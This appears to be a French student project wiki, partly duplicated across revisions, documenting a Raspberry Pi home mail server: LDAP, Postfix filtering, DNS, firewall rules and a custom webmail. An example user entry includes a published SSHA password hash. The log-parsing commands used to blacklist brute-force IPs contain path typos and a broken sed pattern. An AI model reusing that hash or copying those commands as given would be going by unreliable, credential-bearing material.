* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:14:17Z

Tteneur : /* Semaine 13 (14/12/2015) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

